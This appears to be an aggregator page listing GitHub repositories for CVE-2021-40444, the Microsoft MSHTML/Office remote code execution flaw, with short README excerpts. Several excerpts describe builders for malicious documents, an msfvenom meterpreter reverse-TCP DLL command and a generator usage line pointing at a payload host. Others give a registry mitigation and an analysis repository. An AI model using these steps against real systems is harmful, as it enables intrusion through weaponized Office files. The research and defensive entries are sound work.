CVE-2021-40444-Sample

CVE-2021-40444-サンプル CVE-2021-40444 サンプル...

CVE-2021-40444-POC

CVE-2021-40444-POC Metasploit Frameworkを使用して、Microsoft MSHTML リモートコード実行（RCE）の脆弱性を再現する試みです。 FlareVMで実行しない場合に最適です 準備 リポジトリを https://github.com/lockedbyte/CVE-2021-40444 からクローンします 後で msfvenom で使用する .dll テンプレートを準備します msfvenom -p windows/meterpreter/reversetcp lhost= lport= -f dll -o template.dll 生成され...

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx 生成 .docx を生成して CVE-2021-40444 Microsoft Office Word リモートコード実行 を悪用する 1. 空の docx ファイルを作成します。 2. "挿入/オブジェクト" メニューで "ビットマップ画像" オブジェクトを追加します。 オブジェクトの追加...

CVE-2021-40444-exp

CVE-2021-40444 PoC CVE-2021-40444 Microsoft Office Word リモートコード実行 を悪用する悪意のある docx 生成ツール このスクリプトの作成は、実際に使用されたサンプル docx ファイル: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 のリバースエンジニアリングに基づいています。 最初に lcab をインストールする必要があります sudo apt-get install lcab 手動での再現手順は REPRODUCE.md を確認してください...

CVE-2021-40444_builders

CVE-2021-40444 ビルダー このリポジトリには、CVE-2021-40444エクスプロイト用のcabファイル、htmlファイル、docxファイルのビルダーが含まれています。このリポジトリはテスト、研究、教育目的のみです。このリポジトリで提供されるコードの使用方法については、各自の責任でお願いします。 このコードは、野良で見つかったマルウェアサンプルをリバースエンジニアリングし、さまざまなセキュリティ研究者によって共有されたものに基づいています。...

Caboom

Caboom root@kitploit: ██████╗ █████╗ ██████╗ ██████╗ ██████╗ ███╗ ███╗ ██╗ ██╔════╝██╔══██╗██╔══██╗██╔═══██╗██╔═══██╗████╗ ████║ ██║ ██║ ███████║██████╔╝██║ ██║██║ ██║██╔████╔██║ ██║ ██║ ██╔══██║██╔══██╗██║ ██║██║ ██║██║╚██╔╝██║ ╚═╝ ╚██████╗██║ ██║██████╔╝╚██████╔╝╚██████╔╝██║ ╚═╝ ██║ ██╗...

CVE-2021-40444

Microsoft MSHTML 远程代码执行漏洞 CVE-2021-40444 如何在单个系统上禁用 ActiveX 控件？ 1. 要在所有区域中禁用 Internet Explorer 中 ActiveX 控件的安装，请将以下内容粘贴到文本文件中，并以 .reg 文件扩展名保存： Windows Registry Editor Version 5.00 HKEYLOCALMACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0 "1001"=dword:00000003...

CVE-2021-40444_EXP_JS

このリポジトリには README がありません。...

Exploit-PoC-CVE-2021-40444-inject-ma-doc-vao-docx

CVE-2021-40444 概念実証 CVE-2021-40444 Microsoft Office Word リモートコード実行 を悪用する悪意のある docx ジェネレーター このスクリプトの作成は、実際に使用されたサンプルをリバースエンジニアリングした結果に基づいています: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx ファイル 最初に lcab をインストールする必要があります sudo apt-get install lcab 手動での再現手順は REPRODUCE.md...

Follina-CVE-and-CVE-2021-40444

Follina CVE および CVE-2021-40444 脆弱性の悪用 目次 1. はじめに 2. 前提条件 3. セットアップとインストール 4. 使用方法 5. 詳細な説明 6. コマンド 7. 免責事項 はじめに このリポジトリには、Microsoft Office における Follina CVE および CVE-2021-40444 脆弱性を悪用するためのスクリプトとリソースが含まれています。これらのスクリプトは、ターゲットシステム上で任意のコードを実行できる悪意のある文書ファイルを生成します。 前提条件 Flare VM Python 3.x Microsoft Word...

CVE-2021-40444-docx-Generate

CVE-2021-40444 docx 生成 CVE-2021-40444 Microsoft Office Word リモートコード実行 を悪用するための docx 生成 1. blink .docx ファイルを作成します。 2. "Insert/Object" メニューで "Bitmap Image" オブジェクトを追加します。 3. docx を保存して解凍します。 4. word/rels/document.xml.rels を変更します。 5. word/document.xml を変更します。 6. フォルダーを zip 化して .docx にリネームします。 7. html...

MSHTMHell

MSHTMHell: CVE-2021-40444 用の悪意のある文書ビルダー...

CVE-2021-40444

CVE-2021-40444 使用方法 最初に setup.sh を実行してください。いくつかのディレクトリが必要になります。スクリプトを実行すると、以下の例で gen.py を実行できるようになります:- root@kitploit: Usage python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3 Flag -d - O...

CVE-2021-40444

CVE-2021-40444 CVE-2021-40444 POC -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAu0enjPUx4R0+zWyY4FEI 0LUeiAJecPz6iDPdMRiIQHBPZBxKH7A+losAu7DB9IoY1GnGvFJzA1G4UkK6n/rg 2r65Ym3SloHoov/IxC2qcyz1UBftD0HBR8KE9Yy84k1sYIdNzKeWPQETY9UqEEy/...

CVE-2021-40444-Microsoft-Office-Word-Remote-Code-Execution-

CVE-2021-40444-Microsoft-Office-Word-リモートコード実行-...

CVE-2021-40444

CVE-2021-40444...

CVE-2021-40444-POC

このリポジトリには README がありません。...

TIC4301_Project

TIC4301Project TIC4301 プロジェクト - CVE-2021-40444 以下のvagrantボックスをダウンロードしてください: Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNtmU2/view?usp=sharing Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing 以下のコマンドでvagrantを通じてボックスをインポートしてください: 1...

Docx-Exploit-2021

Docx-Exploit-2021 此 docx 漏洞利用 Microsoft .docx 文件中的 res 文件来执行恶意文件。 该漏洞与 CVE-2021-40444 相关。 如果无法复现 请通过 Telegram 联系我：LazarusRebor...

cve-2021-40444-analysis

CVE-2021-40444 の分析 このリポジトリには、Immersive Labs が分析中に復元した CVE-2021-40444 の難読化解除されたエクスプロイトコードが含まれています。 このリポジトリは、https://immersivelabs.com/resources/blog/analyzing-the-cve-2021-40444-exploit/ にあるブログ記事を補足するものです。...